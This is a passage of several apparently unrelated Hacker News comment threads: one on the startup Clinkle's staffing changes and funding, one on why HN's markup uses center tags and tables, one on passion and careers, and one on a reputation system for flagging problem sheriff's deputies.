<comment><USER11> These guys wasted a lot of money that could have been used to fund 100s of other companies. This should make the headlines as a case study, what went wrong and how to avoid it in the future. When a high profile well-funded startup goes south, there is a lesson to be learned for many people.

<comment><USER12> It would probably take over $100m to fund "100s of other companies".

The company is not going south. It brought in top-tier talent (Barry McCarthy ex-Netflix, namely) who reasonably concluded the company wasn't structured properly from a personnel standpoint. This doesn't appear to be another Color considering the company has plenty of cash, some quality executives and a functional product in a huge, well-known category (payments).

<comment><USER13> Perhaps he was talking about examples like YC funding "100s of companies" (500? 600?) with less than half of what Clinkle has raised.

<comment><USER12> Then that's a total mis-understanding of what YC is and how it compares to venture capital. And no one has really come very close to replicating YC despite quite a few attempts.

</comment></comment></comment></comment></comment><comment><USER14> I actually interviewed with them...if you can call it that. I saw some negative post on here about them and decided to submit my resume for the heck of it.

They called me that day and I talked with HR and then we set up a ``technical'' interview with one of the head-honchos who has left. That interview lasted all of 5 minutes. He basically said we will have to hire someone who can interview you and the call ended in 5 minutes.

I don't have some special set of skills or anything...it was weird. Anyways...I had fun talking to people I read about in articles...

<comment><USER15> i don't know who you could possibly call a "head honcho" who has left...

<comment><USER14> Well his title started with the letter C. That's head honcho to me.

<comment><USER15> 0 C-level employees have left. The only C-level employees are the CEO Lucas Duplan and the new COO, Barry McCarthy.

</comment></comment></comment></comment><comment><USER16> This Clinkle thing is going to end up being one of the big laughingstocks of the current bubble after it goes down and the bubble bursts. Similar to Pets.com and Webvan and such.

This actually gave me a flashback to a website I had completely forgotten about. Does anyone remember FuckedCompany.com?

<comment><USER17> Pud posts here occasionally. He spent quite a while running an ad exchange that spun out of Fucked Company. Lately he's been working on distribution for musicians.

</comment></comment><comment><USER18> I interviewed with them a few times last month, and then HR told me they were re - evaluating their employment needs.

And here I thought it was something I had said. ..

</comment><comment><USER19> Wonder if having a difficult-to-enunciate name has anything to do with their lack of success?

<comment><USER12> I don't love the name but names are rarely make-or-break and the product is barely even live so "lack of success" is wholly inappropriate at this point. The company has had success in raising money and hiring top tier talent which is most important at this stage.

</comment></comment><comment><USER20> why is this news? They are stealth

</comment><comment><USER21> I'm going to be really annoyed if Clinkle winds up being a performance art project.

<comment><USER22> What part of life isn't performance art?

<comment><USER23> It's all subjective.

</comment></comment></comment><comment><USER24> VCs are stupid.</comment>


Ask HN: Why HN website still uses center tag and tables? - <AUTHOR> Is it a better approach? <center> tag was deprecated with HTML5 and tables don't seem to be recommended.<p>By the other hand HN is probably the fastest website I visit.. <comment><USER2> Probably because of the principle:

[https://en.wiktionary.org/wiki/if_it_ain%27t_broke,_don%27t_...](https://en.wiktionary.org/wiki/if_it_ain%27t_broke,_don%27t_fix_it)

This site is perfectly readable in all browsers and it's really hard to imagine the day when the browsers stop understanding <center> and <table>, so it's probably good for perpetuity.

</comment><comment><USER3> Probably they just don't care about styling but they care on the content.</comment>


Just because it doesn't suck doesn't make it your passion - <AUTHOR> http://blog.lawnstarter.com/post/87099392543/just-because-it-doesnt-suck-doesnt-make-it-your

<comment><USER2> I think it's curious that we take the idea of a guiding passion for each human as a given, that we believe it's reasonable or admirable to be guided by a singular, unified idea which is somewhat unique to each individual.

At some point in recent history in the West we started using the narrative of passion in relation to success and happiness. We've developed an ideal that people ought to be passionate. Some people, many people, are simply not passionate people, but I don't feel as though that has any relevance on their "importance" in society. Why has the level of passion a person feels become part of the metric by which we value people? Personally, I feel as though it's because we call "passion" often translates into financial success, in which case "passionate" just serves as a euphemism for wealthy.

Furthermore, it's easy for us to _imagine_ that we are passionate about something, only to realize a year later we were tricking ourselves all along. It seems in tech we often misconstrue passion for something a little more akin to an addiction to work because we _want_ to be passionate people, but many of us simply arn't.

<comment><USER3> Reminds me of a book, _So Good They Can 't Ignore You_, which goes to great lengths to argue against the idea that "following your passion" is a good way to be successful. Very much recommended.

<comment><USER4> Just finished it last week. I also highly recommend it.

</comment></comment></comment><comment><USER5> TL;DR: passion = you can't not do it.

</comment><comment><USER6> "Regardless what I'm trying to say is that if every aching bone in your body wants something and you are willing to give up everything to get it you will find success more often than not."

Cute. Many passions do not translate into any kind of financially sustainable careers. Not everyone is passionate about angel-funded SaaS companies and online marketing.

</comment><comment><USER7> People say this because we are enjoined to "do what we love", find our passion. Well, what's so wrong with just doing something you like? Nothing (IMO), but it doesn't sound good. "Complacent" and "content" are dirty words.

The flipside of working in a field about which you are passionate typically goes unremarked upon - sometimes the realities of the job can destroy your love/passion for the thing itself. It's very sad.

My grandfather worked on machines in a factory his whole career, accumulating so much knowledge about the machines that he could know what was wrong with a machine just by listening to it. Then after he retired, companies kept hiring him as a consultant, flying him out to solve their problems. Of this he told my father, "All those years working with my hands, I should have been working with my head." I get to do that, and I have my whole career. I try not to lose sight of the value of that.</comment>


LA Times: "System for identifying problematic deputies works well, report says" - <AUTHOR> http://www.latimes.com/news/local/la-me-sheriff-misconduct9-2009sep09,0,1085543.story Interesting article if you're working on reputation algorithms for your community.  Makes me think of the eBay FAIL because the way they have (or had, I don't use eBay anymore) their system setup, which meant that if you left a legitimate negative rating you invited a retaliatory negative rating.  Thus, "everybody" gave each other positive ratings.  Thus, the ratings are worth less. <comment><AUTHOR> Interesting article if you're working on reputation algorithms for your community. Makes me think of the eBay FAIL because the way they have (or had, I don't use eBay anymore) their system setup, which meant that if you left a legitimate negative rating you invited a retaliatory negative rating. Thus, "everybody" gave each other positive ratings. Thus, the ratings are worth less.</comment>